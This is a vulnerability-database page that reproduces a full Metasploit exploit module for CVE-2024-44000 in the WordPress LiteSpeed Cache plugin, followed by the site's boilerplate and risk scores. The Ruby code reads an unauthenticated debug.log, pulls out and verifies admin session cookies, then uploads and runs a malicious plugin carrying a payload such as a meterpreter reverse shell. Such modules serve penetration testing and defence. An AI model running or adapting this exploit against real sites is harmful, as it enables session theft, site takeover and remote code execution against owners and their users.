Lucene search
K

WordPress LiteSpeed Cache Cookie Theft Exploit

🗓️ 18 Sep 2024 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 246 Views

LiteSpeed Cache unauthenticated account takeover vulnerabilit

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  class DebugLogError < StandardError; end
  class WordPressNotOnline < StandardError; end
  class AdminCookieError < StandardError; end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wordpress LiteSpeed Cache plugin cookie theft',
        'Description' => %q{
          This module exploits an unauthenticated account takeover vulnerability in LiteSpeed Cache, a Wordpress plugin
          that currently has around 6 million active installations. In LiteSpeed Cache versions prior to 6.5.0.1, when
          the Debug Logging feature is enabled, the plugin will log admin cookies to the /wp-content/debug.log endpoint
          which is accessible without authentication. The Debug Logging feature in the plugin is not enabled by default.
          The admin cookies found in the debug.log can be used to upload and execute a malicious plugin containing a payload.
        },
        'Author' => [
          'Rafie Muhammad', # discovery
          'jheysel-r7' # module
        ],
        'References' => [
          [ 'URL', 'https://patchstack.com/articles/critical-account-takeover-vulnerability-patched-in-litespeed-cache-plugin/'],
          [ 'CVE', '2024-44000']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Platform' => ['unix', 'linux', 'win', 'php'],
        'Arch' => [ARCH_PHP, ARCH_CMD],
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix In-Memory',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows In-Memory',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-09-04',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
  end

  def check
    @admin_cookie = get_valid_admin_cookie
    CheckCode::Vulnerable('Found and tested valid admin cookie, we can upload and execute a payload')
  rescue WordPressNotOnline => e
    return CheckCode::Unknown("This doesn't appear to be a WordPress site: #{e.class}, #{e}")
  rescue DebugLogError => e
    return CheckCode::Safe("#{e.class}, #{e}")
  rescue AdminCookieError => e
    return CheckCode::Safe("#{e.class}, #{e}")
  end

  def extract_cookies(debug_log)
    admin_cookies = []
    debug_log.each_line do |log_line|
      # 09/13/24 15:52:48.009 [192.168.65.1:58695 1 UNP] Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1726415372%7C8dXTtGUqH8cjixS1ZU8k58iBmfXRK0xMHXgDZwgjPfn%7C4084023e82a4c58d574ddf33142b168ff5cb93446675ca8116fd32e1de2b8df7; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1726415372%7C8dXTtGUqH8cjixS1ZU8k58iBmfXRK0xMHXgDZwgjPfn%7Cf6bb4d0fdca7b147f320472893374a063b095b550db3488f86e58b6c47e4ce4c
      match = log_line.match(/(wordpress(_logged_in)?_[a-f0-9]{32}=[^;]+)/)
      admin_cookies << match.captures.compact.join('; ') if match
    end
    admin_cookies
  end

  def verify_admin_cookie(admin_cookies)
    admin_cookies.each do |admin_cookie|
      res = send_request_cgi({
        'uri' => '/wp-admin/',
        'cookie' => admin_cookie
      })
      return admin_cookie if res&.code == 200
    end

    nil
  end

  def get_valid_admin_cookie
    raise WordPressNotOnline unless wordpress_and_online?

    res = send_request_cgi({
      'uri' => normalize_uri('wp-content', 'debug.log'),
      'method' => 'GET'
    })
    raise DebugLogError, 'There was no /wp-content/debug.log endpoint found on the target to pillage' unless res&.code == 200
    raise DebugLogError, 'There were no cookies found inside /wp-content/debug.log' unless res.body.include?('wordpress_logged_in')

    admin_cookies = extract_cookies(res.body)
    raise AdminCookieError, 'No admin cookies could be found in debug.log' if admin_cookies.blank?

    print_status('One or more potential admin cookies were found')

    admin_cookie = verify_admin_cookie(admin_cookies)
    raise AdminCookieError, 'Admin cookies were found but are invalid' unless admin_cookie

    admin_cookie
  end

  def exploit
    unless @admin_cookie
      begin
        @admin_cookie = get_valid_admin_cookie
        print_good('Found and tested valid admin cookie, we can upload and execute a payload')
      rescue WordPressNotOnline => e
        fail_with(Failure::NotFound, "#{e.class}, #{e}")
      rescue DebugLogError, AdminCookieError => e
        fail_with(Failure::UnexpectedReply, "#{e.class}, #{e}")
      end
    end

    print_status('Preparing payload...')
    plugin_name = Rex::Text.rand_text_alpha(10)
    payload_name = Rex::Text.rand_text_alpha(10).to_s
    payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
    zip = generate_plugin(plugin_name, payload_name)

    print_status('Uploading payload...')

    uploaded = wordpress_upload_plugin(plugin_name, zip.pack, @admin_cookie)
    fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded

    print_status("Executing the payload at #{payload_uri}...")
    register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
    register_dir_for_cleanup("../#{plugin_name}")
    send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' })
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Sep 2024 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.19.8
EPSS0.92815
SSVC
246